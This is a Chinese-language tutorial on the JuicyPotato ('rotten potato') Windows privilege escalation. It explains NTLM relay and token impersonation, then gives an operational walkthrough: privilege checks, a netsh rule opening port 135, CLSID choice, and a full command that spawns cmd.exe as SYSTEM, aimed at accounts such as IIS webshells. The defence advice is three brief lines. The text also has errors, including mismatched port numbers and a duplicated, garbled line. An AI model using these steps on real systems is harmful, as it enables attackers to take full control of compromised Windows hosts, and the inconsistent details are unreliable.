0x00 Potato(爛土豆)提權的原理:
所謂的爛土豆提權就是俗稱的MS16-075,可以將Windows工作站上的權限提升到 NT AUTHORITY \ SYSTEM – Windows計算機上可用的最高特權級別。
一、簡單的原理:
攻擊者可以誘騙用戶嘗試使用NTLM對他的計算機進行身份驗證,則他可以將該身份驗證嘗試中繼到另一台計算機!
Microsoft通過使用已經進行的質詢來禁止同協議NTLM身份驗證來對此進行修補。這意味着從一個主機回到自身的SMB-> SMB NTLM中繼將不再起作用。但是,跨協議攻擊(例如HTTP-> SMB)仍然可以正常使用!
二、理解流程:
1、控制HTTP流量大概都流經我們控制的HTTP服務器,做中介人攻擊。
2、可以誘導系統高權用戶執行一些操作,例如將它們重定向到需要NTLM身份驗證的地方。所有NTLM憑據都將中繼到本地SMB偵聽器,以創建運行用戶定義的命令的新系統服務,例如是Windows Update服務的請求時,就會是一個高權令牌,劫持掉這個令牌
3、最后模仿這個高權令牌。只有具有“模仿安全令牌權限”的賬戶才能去模仿別人的令牌
0x01 使用方法
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z only test CLSID and print token's user
1、查看當前用戶權限,是否符合要求
whoami /all
whoami /priv
如果開啟SeImpersonate權限,juicypotato的參數可以使用 -t t
如果開啟SeAssignPrimaryToken權限,juicypotato的參數可以使用 -t u
如果均開啟,可以選擇-t * 如果均未開啟,那么無法提權
2、查看RPC默認端口是否為1352、查看RPC默認端口是否為135
如果被修改(例如為111),juicypotato的參數可以使用 -n 111
如果系統禁用了RPC,並不是一定無法提權,需要滿足如下條件:
- 找到另一系統,能夠以當前用戶的權限進行遠程RPC登錄,此時juicypotato的參數可以使用-k
- 例如Win7、WIn8系統,默認配置下,允許135端口的入站規則即可進行遠程RPC登錄
- 添加防火牆規則允許135端口入站的命令如下:
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow
3、根據操作系統選擇可用的CLSID
參考列表:https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
例如測試系統win7 ,選擇CLSID為 {555F3418-D99E-4E51-800A-6E89CFD8B1D7}
4、選擇一個系統未占用的端口作為監聽端口
最終語句:
JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1155 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}
表示開啟SeImpersonate權限創建進程,監聽端口1111,使用的CLSID為{8BC3F05E-D86B-11D0-A075-00C04FB68820}
0x02 限制條件
經過以上的分析,Juicy Potato的限制條件如下:
- 需要支持SeImpersonate或者SeAssignPrimaryToken權限
- 開啟DCOM
- 本地支持RPC或者遠程服務器支持PRC並能成功登錄
- 能夠找到可用的COM對象
一般從web拿到的webshell都是IIS服務器權限,是具有這個模仿權限的。一般大多數的服務型賬戶IIS、MSSQL等,有這個權限,大多數用戶級的賬戶沒有這個權限,這些都可以whoami /priv 試一下看看有沒有模仿權限。
0x03 防御方法
- 阻止攻擊者獲得SeImpersonate或者SeAssignPrimaryToken權限
- 即使打好系統補丁
- 升級到最新的windows系統